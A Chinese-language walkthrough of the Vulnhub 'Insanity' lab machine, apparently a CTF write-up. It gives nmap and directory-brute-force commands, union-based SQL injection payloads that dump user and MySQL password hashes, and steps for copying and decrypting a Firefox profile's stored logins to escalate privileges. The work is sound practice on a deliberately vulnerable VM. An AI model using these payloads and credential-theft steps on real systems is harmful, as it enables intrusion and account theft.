Vulnhub Insanity
0x01：端口扫描
主机发现
nmap -sn 10.10.10.0/24
全端口扫描
nmap --min-rate 10000 -p- 10.10.10.130
UDP扫描
nmap -sU --top=20 10.10.10.130
详细端口扫描
nmap -sT -sC -sV -O --min-rate 10000 -p21,22,80 10.10.10.130
漏洞扫描
nmap --script=vuln -p21,22,80 10.10.10.130
0x02：ftp渗透
因为刚才扫描出ftp可以匿名登录，我们尝试get数据下来
没有东西，放弃
0x03：web渗透
扫目录
dirsearch -u http://10.10.10.130
gobuster dir -u http://10.10.10.130 -x zip,rar,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
逐一查看，在/data下拿到版本为1.14.0
在/webmail/src/configtest.php下拿到squirrelMail的版本为1.4.22
找到4个登录框
又在/news/welcome下找到可能是用户名的字段
我们尝试爆破，发现只有webmail和monitoring可以爆破出来
看到SquirrelMail的版本为1.4.22
搜索漏洞
无奈漏洞已经修复
经过一番尝试后发现monitoring和SquirrelMail是互通的
在这里我们发现一个小细节，这段很像从mysql上拉下来的，我们测试一下sql注入
首先测试
" or 1=1#
发现可以注入且右包含为双引号
下一步查字段
" order by 4# 有报错
" order by 5# 无报错
字段数为4
下一步查询所有数据库名
leedoorbag" UNION SELECT 1,2,group_concat(schema_name),4 FROM information_schema.schemata#
下一步查表名
leedoorbag" UNION SELECT 1,2,group_concat(table_name),4 From information_schema.tables WHERE table_schema='monitoring'#
下一步我们查users表的全部列名
leedoorbag" UNION SELECT 1,2,group_concat(column_name),4 From information_schema.columns WHERE table_name='users' AND table_schema='monitoring'#
把数据拉取下来
leedoorbag" UNION SELECT 1,2,group_concat(id,0x7c,username,0x7c,password,0x7c,email),4 From monitoring.users#
1|admin|$2y$12$huPSQmbcMvgHDkWIMnk9t.1cLoBWue3dtHf9E5cKUNcfKTOOp8cma|admin@insanityhosting.vm
2|nicholas|$2y$12$4R6JiYMbJ7NKnuQEoQW4ruIcuRJtDRukH.Tvx52RkUfx5eloIw7Qe|nicholas@insanityhosting.vm
3|otis|$2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW|otis@insanityhosting.vm
但是只爆破得出来一个，而且登上去就退出了
我们继续寻找，最后在mysql.user里找到了最终凭证
root|*CDA244FF510B063DA17DFF84FF39BA0849F7920F
elliot|*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9
成功登录ssh
0x04：权限提升
尝试了很久没有做出来，看了wp发现是火狐缓存提权，属于是边学边做了
如果在此系统上使用了 Firefox，并且输入的任何用户凭据都会保存在浏览器中，我们可以查询这四个文件以查看
cert9.db、cookies.sqlite、key4.db 、logins.json
find . -type f -name "logins.json" -o -name "cerrt9.db" -o -name "cookies.sqlite" -o -name "key4.db"
我们现在可以使用Firefox_Decrypt工具获得密码
我们先把他拉取下来到本机
scp -r elliot@10.10.10.130:/home/elliot/.mozilla/firefox/esmhp32w.default-default/ ./firefox
然后破解
python 123.py firefox
0x05：总结反思
1.当时web做了很久都没有搞出来，没想到注入点在哪里，后面挨个试出来的，积累2次注入经验了
2.火狐缓存提权确实没见过，这次是长见识了
3.非预期解是pwnkit提权，需要python2版本的脚本
